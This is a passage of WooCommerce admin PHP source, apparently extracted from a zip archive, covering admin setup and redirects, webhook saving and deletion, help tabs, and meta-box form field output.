		add_filter( 'action_scheduler_post_type_args', array( $this, 'disable_webhook_post_export' ) );

		// Add body class for WP 5.3+ compatibility.
		add_filter( 'admin_body_class', array( $this, 'include_admin_body_class' ), 9999 );

		// Add body class for Marketplace and My Subscriptions pages.
		if ( isset( $_GET['page'] ) && 'wc-addons' === $_GET['page'] ) {
			add_filter( 'admin_body_class', array( 'WC_Admin_Addons', 'filter_admin_body_classes' ) );
		}
	}

	/**
	 * Output buffering allows admin screens to make redirects later on.
	 */
	public function buffer() {
		ob_start();
	}

	/**
	 * Include any classes we need within admin.
	 */
	public function includes() {
		include_once __DIR__ . '/wc-admin-functions.php';
		include_once __DIR__ . '/wc-meta-box-functions.php';
		include_once __DIR__ . '/class-wc-admin-post-types.php';
		include_once __DIR__ . '/class-wc-admin-taxonomies.php';
		include_once __DIR__ . '/class-wc-admin-menus.php';
		include_once __DIR__ . '/class-wc-admin-customize.php';
		include_once __DIR__ . '/class-wc-admin-notices.php';
		include_once __DIR__ . '/class-wc-admin-assets.php';
		include_once __DIR__ . '/class-wc-admin-api-keys.php';
		include_once __DIR__ . '/class-wc-admin-webhooks.php';
		include_once __DIR__ . '/class-wc-admin-pointers.php';
		include_once __DIR__ . '/class-wc-admin-importers.php';
		include_once __DIR__ . '/class-wc-admin-exporters.php';

		include_once WC_ABSPATH . 'includes/tracks/class-wc-tracks.php';
		include_once WC_ABSPATH . 'includes/tracks/class-wc-tracks-event.php';
		include_once WC_ABSPATH . 'includes/tracks/class-wc-tracks-client.php';
		include_once WC_ABSPATH . 'includes/tracks/class-wc-tracks-footer-pixel.php';
		include_once WC_ABSPATH . 'includes/tracks/class-wc-site-tracking.php';

		// Help Tabs.
		if ( apply_filters( 'woocommerce_enable_admin_help_tab', true ) ) {
			include_once __DIR__ . '/class-wc-admin-help.php';
		}

		// Helper.
		include_once __DIR__ . '/helper/class-wc-helper.php';

		// Marketplace suggestions & related REST API.
		include_once __DIR__ . '/marketplace-suggestions/class-wc-marketplace-suggestions.php';
		include_once __DIR__ . '/marketplace-suggestions/class-wc-marketplace-updater.php';
	}

	/**
	 * Include admin files conditionally.
	 */
	public function conditional_includes() {
		$screen = get_current_screen();

		if ( ! $screen ) {
			return;
		}

		switch ( $screen->id ) {
			case 'dashboard':
			case 'dashboard-network':
				include __DIR__ . '/class-wc-admin-dashboard-setup.php';
				include __DIR__ . '/class-wc-admin-dashboard.php';
				break;
			case 'options-permalink':
				include __DIR__ . '/class-wc-admin-permalink-settings.php';
				break;
			case 'plugins':
				include __DIR__ . '/plugin-updates/class-wc-plugins-screen-updates.php';
				break;
			case 'update-core':
				include __DIR__ . '/plugin-updates/class-wc-updates-screen-updates.php';
				break;
			case 'users':
			case 'user':
			case 'profile':
			case 'user-edit':
				include __DIR__ . '/class-wc-admin-profile.php';
				break;
		}
	}

	/**
	 * Handle redirects to setup/welcome page after install and updates.
	 *
	 * The user must have access rights, and we must ignore the network/bulk plugin updaters.
	 */
	public function admin_redirects() {
		// Don't run this fn from Action Scheduler requests, as it would clear _wc_activation_redirect transient.
		// That means OBW would never be shown.
		if ( wc_is_running_from_async_action_scheduler() ) {
			return;
		}

		// phpcs:disable WordPress.Security.NonceVerification.Recommended
		// Nonced plugin install redirects.
		if ( ! empty( $_GET['wc-install-plugin-redirect'] ) ) {
			$plugin_slug = wc_clean( wp_unslash( $_GET['wc-install-plugin-redirect'] ) );

			if ( current_user_can( 'install_plugins' ) && in_array( $plugin_slug, array( 'woocommerce-gateway-stripe' ), true ) ) {
				$nonce = wp_create_nonce( 'install-plugin_' . $plugin_slug );
				$url   = self_admin_url( 'update.php?action=install-plugin&plugin=' . $plugin_slug . '&_wpnonce=' . $nonce );
			} else {
				$url = admin_url( 'plugin-install.php?tab=search&type=term&s=' . $plugin_slug );
			}

			wp_safe_redirect( $url );
			exit;
		}

		// phpcs:enable WordPress.Security.NonceVerification.Recommended
	}

	/**
	 * Prevent any user who cannot 'edit_posts' (subscribers, customers etc) from accessing admin.
	 */
	public function prevent_admin_access() {
		$prevent_access = false;

		if ( apply_filters( 'woocommerce_disable_admin_bar', true ) && ! is_ajax() && isset( $_SERVER['SCRIPT_FILENAME'] ) && basename( sanitize_text_field( wp_unslash( $_SERVER['SCRIPT_FILENAME'] ) ) ) !== 'admin-post.php' ) {
			$has_cap     = false;
			$access_caps = array( 'edit_posts', 'manage_woocommerce', 'view_admin_dashboard' );

			foreach ( $access_caps as $access_cap ) {
				if ( current_user_can( $access_cap ) ) {
					$has_cap = true;
					break;
				}
			}

			if ( ! $has_cap ) {
				$prevent_access = true;
			}
		}

		if ( apply_filters( 'woocommerce_prevent_admin_access', $prevent_access ) ) {
			wp_safe_redirect( wc_get_page_permalink( 'myaccount' ) );
			exit;
		}
	}

	/**
	 * Preview email template.
	 */
	public function preview_emails() {

		if ( isset( $_GET['preview_woocommerce_mail'] ) ) {
			if ( ! ( isset( $_REQUEST['_wpnonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['_wpnonce'] ) ), 'preview-mail' ) ) ) {
				die( 'Security check' );
			}

			// load the mailer class.
			$mailer = WC()->mailer();

			// get the preview email subject.
			$email_heading = __( 'HTML email template', 'woocommerce' );

			// get the preview email content.
			ob_start();
			include __DIR__ . '/views/html-email-template-preview.php';
			$message = ob_get_clean();

			// create a new email.
			$email = new WC_Email();

			// wrap the content with the email template and then add styles.
			$message = apply_filters( 'woocommerce_mail_content', $email->style_inline( $mailer->wrap_message( $email_heading, $message ) ) );

			// print the preview email.
			// phpcs:ignore WordPress.Security.EscapeOutput
			echo $message;
			// phpcs:enable
			exit;
		}
	}

	/**
	 * Change the admin footer text on WooCommerce admin pages.
	 *
	 * @since  2.3
	 * @param  string $footer_text text to be rendered in the footer.
	 * @return string
	 */
	public function admin_footer_text( $footer_text ) {
		if ( ! current_user_can( 'manage_woocommerce' ) || ! function_exists( 'wc_get_screen_ids' ) ) {
			return $footer_text;
		}
		$current_screen = get_current_screen();
		$wc_pages       = wc_get_screen_ids();

		// Set only WC pages.
		$wc_pages = array_diff( $wc_pages, array( 'profile', 'user-edit' ) );

		// Check to make sure we're on a WooCommerce admin page.
		if ( isset( $current_screen->id ) && apply_filters( 'woocommerce_display_admin_footer_text', in_array( $current_screen->id, $wc_pages, true ) ) ) {
			// Change the footer text.
			if ( ! get_option( 'woocommerce_admin_footer_text_rated' ) ) {
				$footer_text = sprintf(
					/* translators: 1: WooCommerce 2:: five stars */
					__( 'If you like %1$s please leave us a %2$s rating. A huge thanks in advance!', 'woocommerce' ),
					sprintf( '<strong>%s</strong>', esc_html__( 'WooCommerce', 'woocommerce' ) ),
					'<a href="https://wordpress.org/support/plugin/woocommerce/reviews?rate=5#new-post" target="_blank" class="wc-rating-link" aria-label="' . esc_attr__( 'five star', 'woocommerce' ) . '" data-rated="' . esc_attr__( 'Thanks :)', 'woocommerce' ) . '">&#9733;&#9733;&#9733;&#9733;&#9733;</a>'
				);
				wc_enqueue_js(
					"jQuery( 'a.wc-rating-link' ).on( 'click', function() {
						jQuery.post( '" . WC()->ajax_url() . "', { action: 'woocommerce_rated' } );
						jQuery( this ).parent().text( jQuery( this ).data( 'rated' ) );
					});"
				);
			} else {
				$footer_text = __( 'Thank you for selling with WooCommerce.', 'woocommerce' );
			}
		}

		return $footer_text;
	}

	/**
	 * Check on a Jetpack install queued by the Setup Wizard.
	 *
	 * See: WC_Admin_Setup_Wizard::install_jetpack()
	 */
	public function setup_wizard_check_jetpack() {
		$jetpack_active = class_exists( 'Jetpack' );

		wp_send_json_success(
			array(
				'is_active' => $jetpack_active ? 'yes' : 'no',
			)
		);
	}

	/**
	 * Disable WXR export of scheduled action posts.
	 *
	 * @since 3.6.2
	 *
	 * @param array $args Scehduled action post type registration args.
	 *
	 * @return array
	 */
	public function disable_webhook_post_export( $args ) {
		$args['can_export'] = false;
		return $args;
	}

	/**
	 * Include admin classes.
	 *
	 * @since 4.2.0
	 * @param string $classes Body classes string.
	 * @return string
	 */
	public function include_admin_body_class( $classes ) {
		if ( in_array( array( 'wc-wp-version-gte-53', 'wc-wp-version-gte-55' ), explode( ' ', $classes ), true ) ) {
			return $classes;
		}

		$raw_version   = get_bloginfo( 'version' );
		$version_parts = explode( '-', $raw_version );
		$version       = count( $version_parts ) > 1 ? $version_parts[0] : $raw_version;

		// Add WP 5.3+ compatibility class.
		if ( $raw_version && version_compare( $version, '5.3', '>=' ) ) {
			$classes .= ' wc-wp-version-gte-53';
		}

		// Add WP 5.5+ compatibility class.
		if ( $raw_version && version_compare( $version, '5.5', '>=' ) ) {
			$classes .= ' wc-wp-version-gte-55';
		}

		return $classes;
	}
}

return new WC_Admin();
PK�3\�����,�,class-wc-admin-webhooks.phpnu�[���<?php
/**
 * WooCommerce Admin Webhooks Class
 *
 * @package WooCommerce\Admin
 * @version 3.3.0
 */

defined( 'ABSPATH' ) || exit;

/**
 * WC_Admin_Webhooks.
 */
class WC_Admin_Webhooks {

	/**
	 * Initialize the webhooks admin actions.
	 */
	public function __construct() {
		add_action( 'admin_init', array( $this, 'actions' ) );
		add_action( 'woocommerce_settings_page_init', array( $this, 'screen_option' ) );
		add_filter( 'woocommerce_save_settings_advanced_webhooks', array( $this, 'allow_save_settings' ) );
	}

	/**
	 * Check if should allow save settings.
	 * This prevents "Your settings have been saved." notices on the table list.
	 *
	 * @param  bool $allow If allow save settings.
	 * @return bool
	 */
	public function allow_save_settings( $allow ) {
		if ( ! isset( $_GET['edit-webhook'] ) ) { // WPCS: input var okay, CSRF ok.
			return false;
		}

		return $allow;
	}

	/**
	 * Check if is webhook settings page.
	 *
	 * @return bool
	 */
	private function is_webhook_settings_page() {
		return isset( $_GET['page'], $_GET['tab'], $_GET['section'] ) && 'wc-settings' === $_GET['page'] && 'advanced' === $_GET['tab'] && 'webhooks' === $_GET['section']; // WPCS: input var okay, CSRF ok.
	}

	/**
	 * Save method.
	 */
	private function save() {
		check_admin_referer( 'woocommerce-settings' );

		if ( ! current_user_can( 'manage_woocommerce' ) ) {
			wp_die( esc_html__( 'You do not have permission to update Webhooks', 'woocommerce' ) );
		}

		$errors     = array();
		$webhook_id = isset( $_POST['webhook_id'] ) ? absint( $_POST['webhook_id'] ) : 0;  // WPCS: input var okay, CSRF ok.
		$webhook    = new WC_Webhook( $webhook_id );

		// Name.
		if ( ! empty( $_POST['webhook_name'] ) ) { // WPCS: input var okay, CSRF ok.
			$name = sanitize_text_field( wp_unslash( $_POST['webhook_name'] ) ); // WPCS: input var okay, CSRF ok.
		} else {
			$name = sprintf(
				/* translators: %s: date */
				__( 'Webhook created on %s', 'woocommerce' ),
				// @codingStandardsIgnoreStart
				strftime( _x( '%b %d, %Y @ %I:%M %p', 'Webhook created on date parsed by strftime', 'woocommerce' ) )
				// @codingStandardsIgnoreEnd
			);
		}

		$webhook->set_name( $name );

		if ( ! $webhook->get_user_id() ) {
			$webhook->set_user_id( get_current_user_id() );
		}

		// Status.
		$webhook->set_status( ! empty( $_POST['webhook_status'] ) ? sanitize_text_field( wp_unslash( $_POST['webhook_status'] ) ) : 'disabled' ); // WPCS: input var okay, CSRF ok.

		// Delivery URL.
		$delivery_url = ! empty( $_POST['webhook_delivery_url'] ) ? esc_url_raw( wp_unslash( $_POST['webhook_delivery_url'] ) ) : ''; // WPCS: input var okay, CSRF ok.

		if ( wc_is_valid_url( $delivery_url ) ) {
			$webhook->set_delivery_url( $delivery_url );
		}

		// Secret.
		$secret = ! empty( $_POST['webhook_secret'] ) ? sanitize_text_field( wp_unslash( $_POST['webhook_secret'] ) ) : wp_generate_password( 50, true, true ); // WPCS: input var okay, CSRF ok.
		$webhook->set_secret( $secret );

		// Topic.
		if ( ! empty( $_POST['webhook_topic'] ) ) { // WPCS: input var okay, CSRF ok.
			$resource = '';
			$event    = '';

			switch ( $_POST['webhook_topic'] ) { // WPCS: input var okay, CSRF ok.
				case 'action':
					$resource = 'action';
					$event    = ! empty( $_POST['webhook_action_event'] ) ? sanitize_text_field( wp_unslash( $_POST['webhook_action_event'] ) ) : ''; // WPCS: input var okay, CSRF ok.
					break;

				default:
					list( $resource, $event ) = explode( '.', sanitize_text_field( wp_unslash( $_POST['webhook_topic'] ) ) ); // WPCS: input var okay, CSRF ok.
					break;
			}

			$topic = $resource . '.' . $event;

			if ( wc_is_webhook_valid_topic( $topic ) ) {
				$webhook->set_topic( $topic );
			} else {
				$errors[] = __( 'Webhook topic unknown. Please select a valid topic.', 'woocommerce' );
			}
		}

		// API version.
		$rest_api_versions = wc_get_webhook_rest_api_versions();
		$webhook->set_api_version( ! empty( $_POST['webhook_api_version'] ) ? sanitize_text_field( wp_unslash( $_POST['webhook_api_version'] ) ) : end( $rest_api_versions ) ); // WPCS: input var okay, CSRF ok.

		$webhook->save();

		// Run actions.
		do_action( 'woocommerce_webhook_options_save', $webhook->get_id() );
		if ( $errors ) {
			// Redirect to webhook edit page to avoid settings save actions.
			wp_safe_redirect( admin_url( 'admin.php?page=wc-settings&tab=advanced&section=webhooks&edit-webhook=' . $webhook->get_id() . '&error=' . rawurlencode( implode( '|', $errors ) ) ) );
			exit();
		} elseif ( isset( $_POST['webhook_status'] ) && 'active' === $_POST['webhook_status'] && $webhook->get_pending_delivery() ) { // WPCS: input var okay, CSRF ok.
			// Ping the webhook at the first time that is activated.
			$result = $webhook->deliver_ping();

			if ( is_wp_error( $result ) ) {
				// Redirect to webhook edit page to avoid settings save actions.
				wp_safe_redirect( admin_url( 'admin.php?page=wc-settings&tab=advanced&section=webhooks&edit-webhook=' . $webhook->get_id() . '&error=' . rawurlencode( $result->get_error_message() ) ) );
				exit();
			}
		}

		// Redirect to webhook edit page to avoid settings save actions.
		wp_safe_redirect( admin_url( 'admin.php?page=wc-settings&tab=advanced&section=webhooks&edit-webhook=' . $webhook->get_id() . '&updated=1' ) );
		exit();
	}

	/**
	 * Bulk delete.
	 *
	 * @param array $webhooks List of webhooks IDs.
	 */
	public static function bulk_delete( $webhooks ) {
		foreach ( $webhooks as $webhook_id ) {
			$webhook = new WC_Webhook( (int) $webhook_id );
			$webhook->delete( true );
		}

		$qty    = count( $webhooks );
		$status = isset( $_GET['status'] ) ? '&status=' . sanitize_text_field( wp_unslash( $_GET['status'] ) ) : ''; // WPCS: input var okay, CSRF ok.

		// Redirect to webhooks page.
		wp_safe_redirect( admin_url( 'admin.php?page=wc-settings&tab=advanced&section=webhooks' . $status . '&deleted=' . $qty ) );
		exit();
	}

	/**
	 * Delete webhook.
	 */
	private function delete() {
		check_admin_referer( 'delete-webhook' );

		if ( isset( $_GET['delete'] ) ) { // WPCS: input var okay, CSRF ok.
			$webhook_id = absint( $_GET['delete'] ); // WPCS: input var okay, CSRF ok.

			if ( $webhook_id ) {
				$this->bulk_delete( array( $webhook_id ) );
			}
		}
	}

	/**
	 * Webhooks admin actions.
	 */
	public function actions() {
		if ( $this->is_webhook_settings_page() ) {
			// Save.
			if ( isset( $_POST['save'] ) && isset( $_POST['webhook_id'] ) ) { // WPCS: input var okay, CSRF ok.
				$this->save();
			}

			// Delete webhook.
			if ( isset( $_GET['delete'] ) ) { // WPCS: input var okay, CSRF ok.
				$this->delete();
			}
		}
	}

	/**
	 * Page output.
	 */
	public static function page_output() {
		// Hide the save button.
		$GLOBALS['hide_save_button'] = true;

		if ( isset( $_GET['edit-webhook'] ) ) { // WPCS: input var okay, CSRF ok.
			$webhook_id = absint( $_GET['edit-webhook'] ); // WPCS: input var okay, CSRF ok.
			$webhook    = new WC_Webhook( $webhook_id );

			include __DIR__ .  '/settings/views/html-webhooks-edit.php';
			return;
		}

		self::table_list_output();
	}

	/**
	 * Notices.
	 */
	public static function notices() {
		if ( isset( $_GET['deleted'] ) ) { // WPCS: input var okay, CSRF ok.
			$deleted = absint( $_GET['deleted'] ); // WPCS: input var okay, CSRF ok.

			/* translators: %d: count */
			WC_Admin_Settings::add_message( sprintf( _n( '%d webhook permanently deleted.', '%d webhooks permanently deleted.', $deleted, 'woocommerce' ), $deleted ) );
		}

		if ( isset( $_GET['updated'] ) ) { // WPCS: input var okay, CSRF ok.
			WC_Admin_Settings::add_message( __( 'Webhook updated successfully.', 'woocommerce' ) );
		}

		if ( isset( $_GET['created'] ) ) { // WPCS: input var okay, CSRF ok.
			WC_Admin_Settings::add_message( __( 'Webhook created successfully.', 'woocommerce' ) );
		}

		if ( isset( $_GET['error'] ) ) { // WPCS: input var okay, CSRF ok.
			foreach ( explode( '|', sanitize_text_field( wp_unslash( $_GET['error'] ) ) ) as $message ) { // WPCS: input var okay, CSRF ok.
				WC_Admin_Settings::add_error( trim( $message ) );
			}
		}
	}

	/**
	 * Add screen option.
	 */
	public function screen_option() {
		global $webhooks_table_list;

		if ( ! isset( $_GET['edit-webhook'] ) && $this->is_webhook_settings_page() ) { // WPCS: input var okay, CSRF ok.
			$webhooks_table_list = new WC_Admin_Webhooks_Table_List();

			// Add screen option.
			add_screen_option(
				'per_page',
				array(
					'default' => 10,
					'option'  => 'woocommerce_webhooks_per_page',
				)
			);
		}
	}

	/**
	 * Table list output.
	 */
	private static function table_list_output() {
		global $webhooks_table_list;

		echo '<h2 class="wc-table-list-header">' . esc_html__( 'Webhooks', 'woocommerce' ) . ' <a href="' . esc_url( admin_url( 'admin.php?page=wc-settings&tab=advanced&section=webhooks&edit-webhook=0' ) ) . '" class="add-new-h2">' . esc_html__( 'Add webhook', 'woocommerce' ) . '</a></h2>';

		// Get the webhooks count.
		$data_store   = WC_Data_Store::load( 'webhook' );
		$num_webhooks = $data_store->get_count_webhooks_by_status();
		$count        = array_sum( $num_webhooks );

		if ( 0 < $count ) {
			$webhooks_table_list->process_bulk_action();
			$webhooks_table_list->prepare_items();

			echo '<input type="hidden" name="page" value="wc-settings" />';
			echo '<input type="hidden" name="tab" value="advanced" />';
			echo '<input type="hidden" name="section" value="webhooks" />';

			$webhooks_table_list->views();
			$webhooks_table_list->search_box( __( 'Search webhooks', 'woocommerce' ), 'webhook' );
			$webhooks_table_list->display();
		} else {
			echo '<div class="woocommerce-BlankState woocommerce-BlankState--webhooks">';
			?>
			<h2 class="woocommerce-BlankState-message"><?php esc_html_e( 'Webhooks are event notifications sent to URLs of your choice. They can be used to integrate with third-party services which support them.', 'woocommerce' ); ?></h2>
			<a class="woocommerce-BlankState-cta button-primary button" href="<?php echo esc_url( admin_url( 'admin.php?page=wc-settings&tab=advanced&section=webhooks&edit-webhook=0' ) ); ?>"><?php esc_html_e( 'Create a new webhook', 'woocommerce' ); ?></a>
			<style type="text/css">#posts-filter .wp-list-table, #posts-filter .tablenav.top, .tablenav.bottom .actions { display: none; }</style>
			<?php
		}
	}

	/**
	 * Logs output.
	 *
	 * @deprecated 3.3.0
	 * @param WC_Webhook $webhook Deprecated.
	 */
	public static function logs_output( $webhook = 'deprecated' ) {
		wc_deprecated_function( 'WC_Admin_Webhooks::logs_output', '3.3' );
	}

	/**
	 * Get the webhook topic data.
	 *
	 * @param WC_Webhook $webhook Webhook instance.
	 *
	 * @return array
	 */
	public static function get_topic_data( $webhook ) {
		$topic    = $webhook->get_topic();
		$event    = '';
		$resource = '';

		if ( $topic ) {
			list( $resource, $event ) = explode( '.', $topic );

			if ( 'action' === $resource ) {
				$topic = 'action';
			} elseif ( ! in_array( $resource, array( 'coupon', 'customer', 'order', 'product' ), true ) ) {
				$topic = 'custom';
			}
		}

		return array(
			'topic'    => $topic,
			'event'    => $event,
			'resource' => $resource,
		);
	}

	/**
	 * Get the logs navigation.
	 *
	 * @deprecated 3.3.0
	 * @param int        $total Deprecated.
	 * @param WC_Webhook $webhook Deprecated.
	 */
	public static function get_logs_navigation( $total, $webhook ) {
		wc_deprecated_function( 'WC_Admin_Webhooks::get_logs_navigation', '3.3' );
	}
}

new WC_Admin_Webhooks();
PK�3\0�X��class-wc-admin-help.phpnu�[���<?php
/**
 * Add some content to the help tab
 *
 * @package     WooCommerce\Admin
 * @version     2.1.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( class_exists( 'WC_Admin_Help', false ) ) {
	return new WC_Admin_Help();
}

/**
 * WC_Admin_Help Class.
 */
class WC_Admin_Help {

	/**
	 * Hook in tabs.
	 */
	public function __construct() {
		add_action( 'current_screen', array( $this, 'add_tabs' ), 50 );
	}

	/**
	 * Add help tabs.
	 */
	public function add_tabs() {
		$screen = get_current_screen();

		if ( ! $screen || ! in_array( $screen->id, wc_get_screen_ids() ) ) {
			return;
		}

		$screen->add_help_tab(
			array(
				'id'      => 'woocommerce_support_tab',
				'title'   => __( 'Help &amp; Support', 'woocommerce' ),
				'content' =>
					'<h2>' . __( 'Help &amp; Support', 'woocommerce' ) . '</h2>' .
					'<p>' . sprintf(
						/* translators: %s: Documentation URL */
						__( 'Should you need help understanding, using, or extending WooCommerce, <a href="%s">please read our documentation</a>. You will find all kinds of resources including snippets, tutorials and much more.', 'woocommerce' ),
						'https://docs.woocommerce.com/documentation/plugins/woocommerce/?utm_source=helptab&utm_medium=product&utm_content=docs&utm_campaign=woocommerceplugin'
					) . '</p>' .
					'<p>' . sprintf(
						/* translators: %s: Forum URL */
						__( 'For further assistance with WooCommerce core, use the <a href="%1$s">community forum</a>. For help with premium extensions sold on WooCommerce.com, <a href="%2$s">open a support request at WooCommerce.com</a>.', 'woocommerce' ),
						'https://wordpress.org/support/plugin/woocommerce',
						'https://woocommerce.com/my-account/create-a-ticket/?utm_source=helptab&utm_medium=product&utm_content=tickets&utm_campaign=woocommerceplugin'
					) . '</p>' .
					'<p>' . __( 'Before asking for help, we recommend checking the system status page to identify any problems with your configuration.', 'woocommerce' ) . '</p>' .
					'<p><a href="' . admin_url( 'admin.php?page=wc-status' ) . '" class="button button-primary">' . __( 'System status', 'woocommerce' ) . '</a> <a href="https://wordpress.org/support/plugin/woocommerce" class="button">' . __( 'Community forum', 'woocommerce' ) . '</a> <a href="https://woocommerce.com/my-account/create-a-ticket/?utm_source=helptab&utm_medium=product&utm_content=tickets&utm_campaign=woocommerceplugin" class="button">' . __( 'WooCommerce.com support', 'woocommerce' ) . '</a></p>',
			)
		);

		$screen->add_help_tab(
			array(
				'id'      => 'woocommerce_bugs_tab',
				'title'   => __( 'Found a bug?', 'woocommerce' ),
				'content' =>
					'<h2>' . __( 'Found a bug?', 'woocommerce' ) . '</h2>' .
					/* translators: 1: GitHub issues URL 2: GitHub contribution guide URL 3: System status report URL */
					'<p>' . sprintf( __( 'If you find a bug within WooCommerce core you can create a ticket via <a href="%1$s">Github issues</a>. Ensure you read the <a href="%2$s">contribution guide</a> prior to submitting your report. To help us solve your issue, please be as descriptive as possible and include your <a href="%3$s">system status report</a>.', 'woocommerce' ), 'https://github.com/woocommerce/woocommerce/issues?state=open', 'https://github.com/woocommerce/woocommerce/blob/trunk/.github/CONTRIBUTING.md', admin_url( 'admin.php?page=wc-status' ) ) . '</p>' .
					'<p><a href="https://github.com/woocommerce/woocommerce/issues/new?template=4-Bug-report.md" class="button button-primary">' . __( 'Report a bug', 'woocommerce' ) . '</a> <a href="' . admin_url( 'admin.php?page=wc-status' ) . '" class="button">' . __( 'System status', 'woocommerce' ) . '</a></p>',

			)
		);

		$screen->set_help_sidebar(
			'<p><strong>' . __( 'For more information:', 'woocommerce' ) . '</strong></p>' .
			'<p><a href="https://woocommerce.com/?utm_source=helptab&utm_medium=product&utm_content=about&utm_campaign=woocommerceplugin" target="_blank">' . __( 'About WooCommerce', 'woocommerce' ) . '</a></p>' .
			'<p><a href="https://wordpress.org/plugins/woocommerce/" target="_blank">' . __( 'WordPress.org project', 'woocommerce' ) . '</a></p>' .
			'<p><a href="https://github.com/woocommerce/woocommerce/" target="_blank">' . __( 'Github project', 'woocommerce' ) . '</a></p>' .
			'<p><a href="https://woocommerce.com/storefront/?utm_source=helptab&utm_medium=product&utm_content=wcthemes&utm_campaign=woocommerceplugin" target="_blank">' . __( 'Official theme', 'woocommerce' ) . '</a></p>' .
			'<p><a href="https://woocommerce.com/product-category/woocommerce-extensions/?utm_source=helptab&utm_medium=product&utm_content=wcextensions&utm_campaign=woocommerceplugin" target="_blank">' . __( 'Official extensions', 'woocommerce' ) . '</a></p>'
		);
	}
}

return new WC_Admin_Help();
PK�3\&-�)F-F-wc-meta-box-functions.phpnu�[���<?php
/**
 * WooCommerce Meta Box Functions
 *
 * @author      WooThemes
 * @category    Core
 * @package     WooCommerce\Admin\Functions
 * @version     2.3.0
 */
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

/**
 * Output a text input box.
 *
 * @param array $field
 */
function woocommerce_wp_text_input( $field ) {
	global $thepostid, $post;

	$thepostid              = empty( $thepostid ) ? $post->ID : $thepostid;
	$field['placeholder']   = isset( $field['placeholder'] ) ? $field['placeholder'] : '';
	$field['class']         = isset( $field['class'] ) ? $field['class'] : 'short';
	$field['style']         = isset( $field['style'] ) ? $field['style'] : '';
	$field['wrapper_class'] = isset( $field['wrapper_class'] ) ? $field['wrapper_class'] : '';
	$field['value']         = isset( $field['value'] ) ? $field['value'] : get_post_meta( $thepostid, $field['id'], true );
	$field['name']          = isset( $field['name'] ) ? $field['name'] : $field['id'];
	$field['type']          = isset( $field['type'] ) ? $field['type'] : 'text';
	$field['desc_tip']      = isset( $field['desc_tip'] ) ? $field['desc_tip'] : false;
	$data_type              = empty( $field['data_type'] ) ? '' : $field['data_type'];

	switch ( $data_type ) {
		case 'price':
			$field['class'] .= ' wc_input_price';
			$field['value']  = wc_format_localized_price( $field['value'] );
			break;
		case 'decimal':
			$field['class'] .= ' wc_input_decimal';
			$field['value']  = wc_format_localized_decimal( $field['value'] );
			break;
		case 'stock':
			$field['class'] .= ' wc_input_stock';
			$field['value']  = wc_stock_amount( $field['value'] );
			break;
		case 'url':
			$field['class'] .= ' wc_input_url';
			$field['value']  = esc_url( $field['value'] );
			break;

		default:
			break;
	}

	// Custom attribute handling
	$custom_attributes = array();

	if ( ! empty( $field['custom_attributes'] ) && is_array( $field['custom_attributes'] ) ) {

		foreach ( $field['custom_attributes'] as $attribute => $value ) {
			$custom_attributes[] = esc_attr( $attribute ) . '="' . esc_attr( $value ) . '"';
		}
	}

	echo '<p class="form-field ' . esc_attr( $field['id'] ) . '_field ' . esc_attr( $field['wrapper_class'] ) . '">
		<label for="' . esc_attr( $field['id'] ) . '">' . wp_kses_post( $field['label'] ) . '</label>';

	if ( ! empty( $field['description'] ) && false !== $field['desc_tip'] ) {
		echo wc_help_tip( $field['description'] );
	}

	echo '<input type="' . esc_attr( $field['type'] ) . '" class="' . esc_attr( $field['class'] ) . '" style="' . esc_attr( $field['style'] ) . '" name="' . esc_attr( $field['name'] ) . '" id="' . esc_attr( $field['id'] ) . '" value="' . esc_attr( $field['value'] ) . '" placeholder="' . esc_attr( $field['placeholder'] ) . '" ' . implode( ' ', $custom_attributes ) . ' /> ';

	if ( ! empty( $field['description'] ) && false === $field['desc_tip'] ) {
		echo '<span class="description">' . wp_kses_post( $field['description'] ) . '</span>';
	}

	echo '</p>';
}

/**
 * Output a hidden input box.
 *
 * @param array $field
 */
function woocommerce_wp_hidden_input( $field ) {
	global $thepostid, $post;

	$thepostid      = empty( $thepostid ) ? $post->ID : $thepostid;
	$field['value'] = isset( $field['value'] ) ? $field['value'] : get_post_meta( $thepostid, $field['id'], true );
	$field['class'] = isset( $field['class'] ) ? $field['class'] : '';

	echo '<input type="hidden" class="' . esc_attr( $field['class'] ) . '" name="' . esc_attr( $field['id'] ) . '" id="' . esc_attr( $field['id'] ) . '" value="' . esc_attr( $field['value'] ) . '" /> ';
}

/**
 * Output a textarea input box.
 *
 * @param array $field
 */
function woocommerce_wp_textarea_input( $field ) {
	global $thepostid, $post;

	$thepostid              = empty( $thepostid ) ? $post->ID : $thepostid;
	$field['placeholder']   = isset( $field['placeholder'] ) ? $field['placeholder'] : '';
	$field['class']         = isset( $field['class'] ) ? $field['class'] : 'short';
	$field['style']         = isset( $field['style'] ) ? $field['style'] : '';
	$field['wrapper_class'] = isset( $field['wrapper_class'] ) ? $field['wrapper_class'] : '';
	$field['value']         = isset( $field['value'] ) ? $field['value'] : get_post_meta( $thepostid, $field['id'], true );
	$field['desc_tip']      = isset( $field['desc_tip'] ) ? $field['desc_tip'] : false;
	$field['name']          = isset( $field['name'] ) ? $field['name'] : $field['id'];
	$field['rows']          = isset( $field['rows'] ) ? $field['rows'] : 2;
	$field['cols']          = isset( $field['cols'] ) ? $field['cols'] : 20;

	// Custom attribute handling
	$custom_attributes = array();

	if ( ! empty( $field['custom_attributes'] ) && is_array( $field['custom_attributes'] ) ) {

		foreach ( $field['custom_attributes'] as $attribute => $value ) {
			$custom_attributes[] = esc_attr( $attribute ) . '="' . esc_attr( $value ) . '"';
		}
	}

	echo '<p class="form-field ' . esc_attr( $field['id'] ) . '_field ' . esc_attr( $field['wrapper_class'] ) . '">
		<label for="' . esc_attr( $field['id'] ) . '">' . wp_kses_post( $field['label'] ) . '</label>';

	if ( ! empty( $field['description'] ) && false !== $field['desc_tip'] ) {
		echo wc_help_tip( $field['description'] );
	}

	echo '<textarea class="' . esc_attr( $field['class'] ) . '" style="' . esc_attr( $field['style'] ) . '"  name="' . esc_attr( $field['name'] ) . '" id="' . esc_attr( $field['id'] ) . '" placeholder="' . esc_attr( $field['placeholder'] ) . '" rows="' . esc_attr( $field['rows'] ) . '" cols="' . esc_attr( $field['cols'] ) . '" ' . implode( ' ', $custom_attributes ) . '>' . esc_textarea( $field['value'] ) . '</textarea> ';

	if ( ! empty( $field['description'] ) && false === $field['desc_tip'] ) {
		echo '<span class="description">' . wp_kses_post( $field['description'] ) . '</span>';
	}

	echo '</p>';
}

/**
 * Output a checkbox input box.
 *
 * @param array $field
 */
function woocommerce_wp_checkbox( $field ) {
